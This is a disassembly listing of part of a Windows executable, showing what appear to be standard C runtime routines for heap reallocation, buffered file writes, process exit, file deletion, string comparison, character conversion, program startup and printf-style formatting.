loc_41740F: ; CODE XREF: sub_41737F+8Cj
push eax
push ebx
push edi
call sub_4153F0
push ebx
call sub_418CBD
push [ebp+arg_0]
mov ebx, eax
push ebx
call sub_418CE8
add esp, 18h
loc_41742B: ; CODE XREF: sub_41737F+74j
test edi, edi
jnz short loc_417472
loc_41742F: ; CODE XREF: sub_41737F+62j
; sub_41737F+81j
test esi, esi
jnz short loc_417436
push 1
pop esi
loc_417436: ; CODE XREF: sub_41737F+B2j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push dword_46CCA4
call dword_42114C ; RtlAllocateHeap
mov edi, eax
test edi, edi
jz short loc_417472
mov ecx, [ebp+arg_0]
mov eax, [ecx-4]
dec eax
cmp eax, esi
jb short loc_41745E
mov eax, esi
loc_41745E: ; CODE XREF: sub_41737F+DBj
push eax
push ecx
push edi
call sub_4153F0
push [ebp+arg_0]
push ebx
call sub_418CE8
add esp, 14h
loc_417472: ; CODE XREF: sub_41737F+AEj
; sub_41737F+D0j
test ebx, ebx
jnz short loc_417497
loc_417476: ; CODE XREF: sub_41737F+56j
test esi, esi
jnz short loc_41747D
push 1
pop esi
loc_41747D: ; CODE XREF: sub_41737F+F9j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_46CCA4
call dword_421160 ; RtlReAllocateHeap
mov edi, eax
loc_417497: ; CODE XREF: sub_41737F+F5j
test edi, edi
jnz short loc_4174B8
loc_41749B: ; CODE XREF: sub_41737F+43j
cmp dword_46B694, 0
jz short loc_4174B8
push esi
call sub_418A88
test eax, eax
pop ecx
jnz loc_4173BD
jmp loc_417618
; ---------------------------------------------------------------------------
loc_4174B8: ; CODE XREF: sub_41737F+11Aj
; sub_41737F+123j ...
mov eax, edi
jmp loc_41761A
; ---------------------------------------------------------------------------
loc_4174BF: ; CODE XREF: sub_41737F+38j
cmp eax, 2
jnz loc_4175DA
cmp esi, 0FFFFFFE0h
ja short loc_4174DC
test esi, esi
jbe short loc_4174D9
add esi, 0Fh
and esi, 0FFFFFFF0h
jmp short loc_4174DC
; ---------------------------------------------------------------------------
loc_4174D9: ; CODE XREF: sub_41737F+150j
push 10h
pop esi
loc_4174DC: ; CODE XREF: sub_41737F+14Cj
; sub_41737F+158j ...
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_4175BC
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_419A18
mov ebx, eax
add esp, 0Ch
test ebx, ebx
jz loc_4175A0
cmp esi, dword_43A164
jnb short loc_417564
mov edi, esi
shr edi, 4
push edi
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_419DE0
add esp, 10h
test eax, eax
jz short loc_41752A
mov edi, [ebp+arg_0]
jmp short loc_41755C
; ---------------------------------------------------------------------------
loc_41752A: ; CODE XREF: sub_41737F+1A4j
push edi
call sub_419AB4
mov edi, eax
pop ecx
test edi, edi
jz short loc_417564
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_417543
mov eax, esi
loc_417543: ; CODE XREF: sub_41737F+1C0j
push eax
push [ebp+arg_0]
push edi
call sub_4153F0
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_419A6F
add esp, 18h
loc_41755C: ; CODE XREF: sub_41737F+1A9j
test edi, edi
jnz loc_4174B8
loc_417564: ; CODE XREF: sub_41737F+18Bj
; sub_41737F+1B6j
push esi
push 0
push dword_46CCA4
call dword_42114C ; RtlAllocateHeap
mov edi, eax
test edi, edi
jz short loc_4175BC
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_417585
mov eax, esi
loc_417585: ; CODE XREF: sub_41737F+202j
push eax
push [ebp+arg_0]
push edi
call sub_4153F0
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_419A6F
add esp, 18h
jmp short loc_4175B4
; ---------------------------------------------------------------------------
loc_4175A0: ; CODE XREF: sub_41737F+17Fj
push esi
push [ebp+arg_0]
push 0
push dword_46CCA4
call dword_421160 ; RtlReAllocateHeap
mov edi, eax
loc_4175B4: ; CODE XREF: sub_41737F+21Fj
test edi, edi
jnz loc_4174B8
loc_4175BC: ; CODE XREF: sub_41737F+162j
; sub_41737F+1F8j
cmp dword_46B694, 0
jz loc_4174B8
push esi
call sub_418A88
test eax, eax
pop ecx
jnz loc_4174DC
jmp short loc_417618
; ---------------------------------------------------------------------------
loc_4175DA: ; CODE XREF: sub_41737F+143j
; sub_41737F+297j
xor eax, eax
cmp esi, 0FFFFFFE0h
ja short loc_417604
test esi, esi
jnz short loc_4175E8
push 1
pop esi
loc_4175E8: ; CODE XREF: sub_41737F+264j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_46CCA4
call dword_421160 ; RtlReAllocateHeap
test eax, eax
jnz short loc_41761A
loc_417604: ; CODE XREF: sub_41737F+260j
cmp dword_46B694, 0
jz short loc_41761A
push esi
call sub_418A88
test eax, eax
pop ecx
jnz short loc_4175DA
loc_417618: ; CODE XREF: sub_41737F+2Bj
; sub_41737F+134j ...
xor eax, eax
loc_41761A: ; CODE XREF: sub_41737F+16j
; sub_41737F+13Bj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41737F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41761F proc near ; CODE XREF: sub_40B9BC+127p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
test edi, edi
mov [ebp+arg_0], eax
mov ebx, edi
jnz short loc_417643
xor eax, eax
jmp loc_417710
; ---------------------------------------------------------------------------
loc_417643: ; CODE XREF: sub_41761F+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_417656
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41765D
; ---------------------------------------------------------------------------
loc_417656: ; CODE XREF: sub_41761F+2Dj
mov [ebp+arg_C], 1000h
loc_41765D: ; CODE XREF: sub_41761F+35j
; sub_41761F+E8j
mov ecx, [esi+0Ch]
and ecx, 108h
jz short loc_417691
mov eax, [esi+4]
test eax, eax
jz short loc_417691
cmp ebx, eax
mov edi, ebx
jb short loc_417677
mov edi, eax
loc_417677: ; CODE XREF: sub_41761F+54j
push edi
push [ebp+arg_0]
push dword ptr [esi]
call sub_4153F0
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
sub ebx, edi
add [ebp+arg_0], edi
jmp short loc_4176D7
; ---------------------------------------------------------------------------
loc_417691: ; CODE XREF: sub_41761F+47j
; sub_41761F+4Ej
cmp ebx, [ebp+arg_C]
jb short loc_4176DC
test ecx, ecx
jz short loc_4176A5
push esi
call sub_418704
test eax, eax
pop ecx
jnz short loc_41771E
loc_4176A5: ; CODE XREF: sub_41761F+79j
cmp [ebp+arg_C], 0
jz short loc_4176B8
mov eax, ebx
xor edx, edx
div [ebp+arg_C]
mov edi, ebx
sub edi, edx
jmp short loc_4176BA
; ---------------------------------------------------------------------------
loc_4176B8: ; CODE XREF: sub_41761F+8Aj
mov edi, ebx
loc_4176BA: ; CODE XREF: sub_41761F+97j
push edi
push [ebp+arg_0]
push dword ptr [esi+10h]
call sub_41CCC7
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_417715
add [ebp+arg_0], eax
sub ebx, eax
cmp eax, edi
jb short loc_417715
loc_4176D7: ; CODE XREF: sub_41761F+70j
mov edi, [ebp+var_4]
jmp short loc_417705
; ---------------------------------------------------------------------------
loc_4176DC: ; CODE XREF: sub_41761F+75j
mov eax, [ebp+arg_0]
push esi
movsx eax, byte ptr [eax]
push eax
call sub_417C57
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41771E
inc [ebp+arg_0]
mov eax, [esi+18h]
dec ebx
mov [ebp+arg_C], eax
test eax, eax
jg short loc_417705
mov [ebp+arg_C], 1
loc_417705: ; CODE XREF: sub_41761F+BBj
; sub_41761F+DDj
test ebx, ebx
jnz loc_41765D
mov eax, [ebp+arg_8]
loc_417710: ; CODE XREF: sub_41761F+1Fj
; sub_41761F+108j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_417715: ; CODE XREF: sub_41761F+ADj
; sub_41761F+B6j
or dword ptr [esi+0Ch], 20h
mov eax, [ebp+var_4]
jmp short loc_417720
; ---------------------------------------------------------------------------
loc_41771E: ; CODE XREF: sub_41761F+84j
; sub_41761F+CFj
mov eax, edi
loc_417720: ; CODE XREF: sub_41761F+FDj
sub eax, ebx
xor edx, edx
div [ebp+arg_4]
jmp short loc_417710
sub_41761F endp
; =============== S U B R O U T I N E =======================================
sub_417729 proc near ; CODE XREF: sub_40C0F3+8p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
call dword_421094 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jnz short loc_417749
call dword_421088 ; RtlGetLastWin32Error
push eax
call sub_41CE74
pop ecx
loc_417745: ; CODE XREF: sub_417729+3Fj
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_417749: ; CODE XREF: sub_417729+Dj
test al, 1
jz short loc_41776A
test [esp+arg_4], 2
jz short loc_41776A
mov dword_46B634, 0Dh
mov dword_46B638, 5
jmp short loc_417745
; ---------------------------------------------------------------------------
loc_41776A: ; CODE XREF: sub_417729+22j
; sub_417729+29j
xor eax, eax
retn
sub_417729 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417770 proc near ; CODE XREF: sub_40C21C+5Fp
; sub_40C21C+90p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_417791
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_417791: ; CODE XREF: sub_417770+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_4177AD
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_4177AD: ; CODE XREF: sub_417770+27j
or eax, eax
jnz short loc_4177C9
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_41780A
; ---------------------------------------------------------------------------
loc_4177C9: ; CODE XREF: sub_417770+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_4177D7: ; CODE XREF: sub_417770+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_4177D7
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_417805
cmp edx, [esp+0Ch+arg_4]
ja short loc_417805
jb short loc_417806
cmp eax, [esp+0Ch+arg_0]
jbe short loc_417806
loc_417805: ; CODE XREF: sub_417770+85j
; sub_417770+8Bj
dec esi
loc_417806: ; CODE XREF: sub_417770+8Dj
; sub_417770+93j
xor edx, edx
mov eax, esi
loc_41780A: ; CODE XREF: sub_417770+57j
dec edi
jnz short loc_417814
neg edx
neg eax
sbb edx, 0
loc_417814: ; CODE XREF: sub_417770+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_417770 endp
; =============== S U B R O U T I N E =======================================
sub_41781A proc near ; CODE XREF: seg001:00417BABp
mov eax, off_437EEC
test eax, eax
jz short loc_417825
call eax ; sub_415DD3
loc_417825: ; CODE XREF: sub_41781A+7j
push offset dword_423028
push offset dword_423014
call sub_417902
push offset dword_423010
push offset dword_423000
call sub_417902
add esp, 10h
retn
sub_41781A endp
; =============== S U B R O U T I N E =======================================
sub_417847 proc near ; CODE XREF: seg001:00417BEAp
arg_0 = dword ptr 4
push 0
push 0
push [esp+8+arg_0]
call sub_417869
add esp, 0Ch
retn
sub_417847 endp
; =============== S U B R O U T I N E =======================================
sub_417858 proc near ; CODE XREF: seg001:00417C09p
; sub_417C0E+1Cp ...
arg_0 = dword ptr 4
push 0
push 1
push [esp+8+arg_0]
call sub_417869
add esp, 0Ch
retn
sub_417858 endp
; =============== S U B R O U T I N E =======================================
sub_417869 proc near ; CODE XREF: sub_417847+8p
; sub_417858+8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
push 1
pop edi
cmp dword_46B67C, edi
jnz short loc_417886
push [esp+4+arg_0]
call dword_421104 ; GetCurrentProcess
push eax
call dword_421140 ; TerminateProcess
loc_417886: ; CODE XREF: sub_417869+Aj
cmp [esp+4+arg_4], 0
push ebx
mov ebx, [esp+8+arg_8]
mov dword_46B678, edi
mov byte_46B674, bl
jnz short loc_4178DA
mov eax, dword_46CCBC
test eax, eax
jz short loc_4178C9
mov ecx, dword_46CCB8
push esi
lea esi, [ecx-4]
cmp esi, eax
jb short loc_4178C8
loc_4178B5: ; CODE XREF: sub_417869+5Dj
mov eax, [esi]
test eax, eax
jz short loc_4178BD
call eax
loc_4178BD: ; CODE XREF: sub_417869+50j
sub esi, 4
cmp esi, dword_46CCBC
jnb short loc_4178B5
loc_4178C8: ; CODE XREF: sub_417869+4Aj
pop esi
loc_4178C9: ; CODE XREF: sub_417869+3Cj
push offset dword_423034
push offset dword_42302C
call sub_417902
pop ecx
pop ecx
loc_4178DA: ; CODE XREF: sub_417869+33j
push offset dword_423040
push offset dword_423038
call sub_417902
pop ecx
pop ecx
test ebx, ebx
pop ebx
jnz short loc_417900
push [esp+4+arg_0]
mov dword_46B67C, edi
call dword_421114 ; ExitProcess
loc_417900: ; CODE XREF: sub_417869+85j
pop edi
retn
sub_417869 endp
; =============== S U B R O U T I N E =======================================
sub_417902 proc near ; CODE XREF: sub_41781A+15p
; sub_41781A+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
loc_417907: ; CODE XREF: sub_417902+16j
cmp esi, [esp+4+arg_4]
jnb short loc_41791A
mov eax, [esi]
test eax, eax
jz short loc_417915
call eax
loc_417915: ; CODE XREF: sub_417902+Fj
add esi, 4
jmp short loc_417907
; ---------------------------------------------------------------------------
loc_41791A: ; CODE XREF: sub_417902+9j
pop esi
retn
sub_417902 endp
; =============== S U B R O U T I N E =======================================
sub_41791C proc near ; CODE XREF: sub_40CD3A+29D7p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_421118 ; DeleteFileA
test eax, eax
jnz short loc_417932
call dword_421088 ; RtlGetLastWin32Error
jmp short loc_417934
; ---------------------------------------------------------------------------
loc_417932: ; CODE XREF: sub_41791C+Cj
xor eax, eax
loc_417934: ; CODE XREF: sub_41791C+14j
test eax, eax
jz short loc_417943
push eax
call sub_41CE74
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_417943: ; CODE XREF: sub_41791C+1Aj
xor eax, eax
retn
sub_41791C endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417950 proc near ; CODE XREF: sub_4129E5+1Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jz short locret_41799C
mov edx, [esp+arg_0]
push esi
push edi
mov esi, edx
mov edi, [esp+8+arg_4]
or edx, edi
and edx, 3
jz short loc_41799D
test eax, 1
jz short loc_41797D
mov cl, [esi]
cmp cl, [edi]
jnz short loc_4179CA
inc esi
inc edi
dec eax
jz short loc_41799A
loc_41797D: ; CODE XREF: sub_417950+20j
; sub_417950+48j
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_4179CA
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_4179CA
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_41797D
loc_41799A: ; CODE XREF: sub_417950+2Bj
; sub_417950+84j
pop edi
pop esi
locret_41799C: ; CODE XREF: sub_417950+6j
retn
; ---------------------------------------------------------------------------
loc_41799D: ; CODE XREF: sub_417950+19j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_4179D2
repe cmpsd
jz short loc_4179D2
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_4179C5
cmp ch, dh
jnz short loc_4179C5
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_4179C5
cmp ch, dh
loc_4179C5: ; CODE XREF: sub_417950+63j
; sub_417950+67j ...
mov eax, 0
loc_4179CA: ; CODE XREF: sub_417950+26j
; sub_417950+33j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_4179D2: ; CODE XREF: sub_417950+55j
; sub_417950+59j
test eax, eax
jz short loc_41799A
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_4179C5
dec eax
jz short loc_4179F9
cmp dh, ch
jnz short loc_4179C5
dec eax
jz short loc_4179F9
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_4179C5
dec eax
loc_4179F9: ; CODE XREF: sub_417950+8Fj
; sub_417950+96j
pop edi
pop esi
retn
sub_417950 endp
; =============== S U B R O U T I N E =======================================
sub_4179FC proc near ; CODE XREF: sub_413B27+55p
; sub_414500+238p
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
cmp word ptr [ecx], 0
lea eax, [ecx+2]
jz short loc_417A13
loc_417A09: ; CODE XREF: sub_4179FC+15j
mov dx, [eax]
inc eax
inc eax
test dx, dx
jnz short loc_417A09
loc_417A13: ; CODE XREF: sub_4179FC+Bj
sub eax, ecx
sar eax, 1
dec eax
retn
sub_4179FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417A19 proc near ; CODE XREF: sub_413B27+19p
; sub_413B27+49p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_0]
push ebx
push esi
xor esi, esi
xor eax, eax
cmp edx, esi
push edi
jz loc_417AE6
mov edi, [ebp+arg_8]
cmp edi, esi
jz loc_417B13
cmp dword_46B6CC, esi
jnz short loc_417A6A
cmp edi, esi
jbe loc_417B13
loc_417A49: ; CODE XREF: sub_417A19+4Aj
mov ecx, [ebp+arg_4]
add ecx, eax
movzx si, byte ptr [ecx]
mov [edx], si
cmp byte ptr [ecx], 0
jz loc_417B13
inc eax
inc edx
inc edx
cmp eax, edi
jb short loc_417A49
jmp loc_417B13
; ---------------------------------------------------------------------------
loc_417A6A: ; CODE XREF: sub_417A19+26j
mov ebx, [ebp+arg_4]
mov esi, dword_421064
push edi
push edx
push 0FFFFFFFFh
push ebx
push 9
push dword_46B6DC
call esi ; MultiByteToWideChar
test eax, eax
jnz loc_417B12
call dword_421088 ; RtlGetLastWin32Error
cmp eax, 7Ah
jz short loc_417AA4
loc_417A95: ; CODE XREF: sub_417A19+CBj
; sub_417A19+F7j
mov dword_46B634, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_417B13
; ---------------------------------------------------------------------------
loc_417AA4: ; CODE XREF: sub_417A19+7Aj
lea ecx, [edi-1]
mov eax, ebx
mov [ebp+arg_4], ecx
loc_417AAC: ; CODE XREF: sub_417A19+B3j
mov cl, [eax]
test cl, cl
jz short loc_417ACE
mov edx, off_437F20
movzx ecx, cl
test byte ptr [edx+ecx*2+1], 80h
jz short loc_417AC3
inc eax
loc_417AC3: ; CODE XREF: sub_417A19+A7j
mov ecx, [ebp+arg_4]
inc eax
dec [ebp+arg_4]
test ecx, ecx
jnz short loc_417AAC
loc_417ACE: ; CODE XREF: sub_417A19+97j
push edi
sub eax, ebx
push [ebp+arg_0]
push eax
push ebx
push 1
push dword_46B6DC
call esi ; MultiByteToWideChar
test eax, eax
jnz short loc_417B13
jmp short loc_417A95
; ---------------------------------------------------------------------------
loc_417AE6: ; CODE XREF: sub_417A19+Fj
cmp dword_46B6CC, esi
jnz short loc_417AF9
push [ebp+arg_4]
call sub_415B10
pop ecx
jmp short loc_417B13
; ---------------------------------------------------------------------------
loc_417AF9: ; CODE XREF: sub_417A19+D3j
push esi
push esi
push 0FFFFFFFFh
push [ebp+arg_4]
push 9
push dword_46B6DC
call dword_421064 ; MultiByteToWideChar
cmp eax, esi
jz short loc_417A95
loc_417B12: ; CODE XREF: sub_417A19+6Bj
dec eax
loc_417B13: ; CODE XREF: sub_417A19+1Aj
; sub_417A19+2Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_417A19 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421678
push offset sub_41D6A4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 58h
push ebx
push esi
push edi
mov [ebp-18h], esp
call dword_42116C ; GetVersion
xor edx, edx
mov dl, ah
mov dword_46B64C, edx
mov ecx, eax
and ecx, 0FFh
mov dword_46B648, ecx
shl ecx, 8
add ecx, edx
mov dword_46B644, ecx
shr eax, 10h
mov dword_46B640, eax
xor esi, esi
push esi
call sub_418C18
pop ecx
test eax, eax
jnz short loc_417B84
push 1Ch
call sub_417C33
pop ecx
loc_417B84: ; CODE XREF: seg001:00417B7Aj
mov [ebp-4], esi
call sub_41D4EF
call dword_421168 ; GetCommandLineA
mov dword_46CCAC, eax
call sub_41D3BD
mov dword_46B680, eax
call sub_41D170
call sub_41D0B7
call sub_41781A
mov [ebp-30h], esi
lea eax, [ebp-5Ch]
push eax
call dword_421164 ; GetStartupInfoA
call sub_41D05F
mov [ebp-64h], eax
test byte ptr [ebp-30h], 1
jz short loc_417BD1
movzx eax, word ptr [ebp-2Ch]
jmp short loc_417BD4
; ---------------------------------------------------------------------------
loc_417BD1: ; CODE XREF: seg001:00417BC9j
push 0Ah
pop eax
loc_417BD4: ; CODE XREF: seg001:00417BCFj
push eax
push dword ptr [ebp-64h]
push esi
push esi
call dword_4210C8 ; GetModuleHandleA
push eax
call sub_40C574
mov [ebp-60h], eax
push eax
call sub_417847
mov eax, [ebp-14h]
mov ecx, [eax]
mov ecx, [ecx]
mov [ebp-68h], ecx
push eax
push ecx
call sub_41CEDB
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
push dword ptr [ebp-68h]
call sub_417858
; =============== S U B R O U T I N E =======================================
sub_417C0E proc near ; CODE XREF: sub_4166E2+16p
; sub_41D0B7+4Ep ...
arg_0 = dword ptr 4
cmp dword_46B688, 1
jnz short loc_417C1C
call sub_41D77C
loc_417C1C: ; CODE XREF: sub_417C0E+7j
push [esp+arg_0]
call sub_41D7B5
push 0FFh
call off_437F10
pop ecx
pop ecx
retn
sub_417C0E endp
; =============== S U B R O U T I N E =======================================
sub_417C33 proc near ; CODE XREF: seg001:00417B7Ep
arg_0 = dword ptr 4
cmp dword_46B688, 1
jnz short loc_417C41
call sub_41D77C
loc_417C41: ; CODE XREF: sub_417C33+7j
push [esp+arg_0]
call sub_41D7B5
pop ecx
push 0FFh
call dword_421114 ; ExitProcess
retn
sub_417C33 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417C57 proc near ; CODE XREF: sub_415316+46p
; sub_41588A+45p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [esi+0Ch]
mov ebx, [esi+10h]
test al, 82h
jz loc_417D60
test al, 40h
jnz loc_417D60
test al, 1
jz short loc_417C8F
and dword ptr [esi+4], 0
test al, 10h
jz loc_417D60
mov ecx, [esi+8]
and al, 0FEh
mov [esi], ecx
mov [esi+0Ch], eax
loc_417C8F: ; CODE XREF: sub_417C57+20j
mov eax, [esi+0Ch]
and dword ptr [esi+4], 0
and [ebp+arg_4], 0
and al, 0EFh
or al, 2
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_417CC9
cmp esi, offset dword_43A658
jz short loc_417CB7
cmp esi, offset dword_43A678
jnz short loc_417CC2
loc_417CB7: ; CODE XREF: sub_417C57+56j
push ebx
call sub_41D94C
test eax, eax
pop ecx
jnz short loc_417CC9
loc_417CC2: ; CODE XREF: sub_417C57+5Ej
push esi
call sub_41D908
pop ecx
loc_417CC9: ; CODE XREF: sub_417C57+4Ej
; sub_417C57+69j
test word ptr [esi+0Ch], 108h
push edi
jz short loc_417D36
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
lea ecx, [eax+1]
mov [esi], ecx
mov ecx, [esi+18h]
dec ecx
test edi, edi
mov [esi+4], ecx
jle short loc_417CF9
push edi
push eax
push ebx
call sub_41CCC7
add esp, 0Ch
mov [ebp+arg_4], eax
jmp short loc_417D2C
; ---------------------------------------------------------------------------
loc_417CF9: ; CODE XREF: sub_417C57+90j
cmp ebx, 0FFFFFFFFh
jz short loc_417D14
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_46C960[eax*4]
lea eax, [eax+ecx*8]
jmp short loc_417D19
; ---------------------------------------------------------------------------
loc_417D14: ; CODE XREF: sub_417C57+A5j
mov eax, offset dword_43A5A0
loc_417D19: ; CODE XREF: sub_417C57+BBj
test byte ptr [eax+4], 20h
jz short loc_417D2C
push 2
push 0
push ebx
call sub_41C447
add esp, 0Ch
loc_417D2C: ; CODE XREF: sub_417C57+A0j
; sub_417C57+C6j
mov eax, [esi+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_417D4A
; ---------------------------------------------------------------------------
loc_417D36: ; CODE XREF: sub_417C57+79j
push 1
lea eax, [ebp+arg_0]
pop edi
push edi
push eax
push ebx
call sub_41CCC7
add esp, 0Ch
mov [ebp+arg_4], eax
loc_417D4A: ; CODE XREF: sub_417C57+DDj
cmp [ebp+arg_4], edi
pop edi
jz short loc_417D56
or dword ptr [esi+0Ch], 20h
jmp short loc_417D65
; ---------------------------------------------------------------------------
loc_417D56: ; CODE XREF: sub_417C57+F7j
mov eax, [ebp+arg_0]
and eax, 0FFh
jmp short loc_417D68
; ---------------------------------------------------------------------------
loc_417D60: ; CODE XREF: sub_417C57+10j
; sub_417C57+18j ...
or al, 20h
mov [esi+0Ch], eax
loc_417D65: ; CODE XREF: sub_417C57+FDj
or eax, 0FFFFFFFFh
loc_417D68: ; CODE XREF: sub_417C57+107j
pop esi
pop ebx
pop ebp
retn
sub_417C57 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417D6C proc near ; CODE XREF: sub_415316+29p
; sub_41588A+28p ...
var_248 = byte ptr -248h
var_247 = byte ptr -247h
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 248h
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+var_C], esi
mov [ebp+var_14], esi
mov [ebp+arg_4], edi
jz loc_418485
mov ecx, [ebp+var_10]
xor edx, edx
jmp short loc_417DA0
; ---------------------------------------------------------------------------
loc_417D98: ; CODE XREF: sub_417D6C+713j
mov ecx, [ebp+var_10]
mov esi, [ebp+var_30]
xor edx, edx
loc_417DA0: ; CODE XREF: sub_417D6C+2Aj
cmp [ebp+var_14], edx
jl loc_418485
cmp bl, 20h
jl short loc_417DC1
cmp bl, 78h
jg short loc_417DC1
movsx eax, bl
mov al, [eax+421664h]
and eax, 0Fh
jmp short loc_417DC3
; ---------------------------------------------------------------------------
loc_417DC1: ; CODE XREF: sub_417D6C+40j
; sub_417D6C+45j
xor eax, eax
loc_417DC3: ; CODE XREF: sub_417D6C+53j
movsx eax, byte_421684[esi+eax*8]
sar eax, 4
cmp eax, 7 ; switch 8 cases
mov [ebp+var_30], eax
ja loc_418474 ; default
jmp off_41848D[eax*4] ; switch jump
loc_417DE1: ; DATA XREF: seg001:off_41848Do
or [ebp+var_10], 0FFFFFFFFh ; jumptable 00417DDA case 1
mov [ebp+var_34], edx
mov [ebp+var_28], edx
mov [ebp+var_20], edx
mov [ebp+var_1C], edx
mov [ebp+var_4], edx
mov [ebp+var_24], edx
jmp loc_418474 ; default
; ---------------------------------------------------------------------------
loc_417DFC: ; CODE XREF: sub_417D6C+6Ej
; DATA XREF: seg001:off_41848Do
movsx eax, bl ; jumptable 00417DDA case 2
sub eax, 20h
jz short loc_417E3F
sub eax, 3
jz short loc_417E36
sub eax, 8
jz short loc_417E2D
dec eax
dec eax
jz short loc_417E24
sub eax, 3
jnz loc_418474 ; default
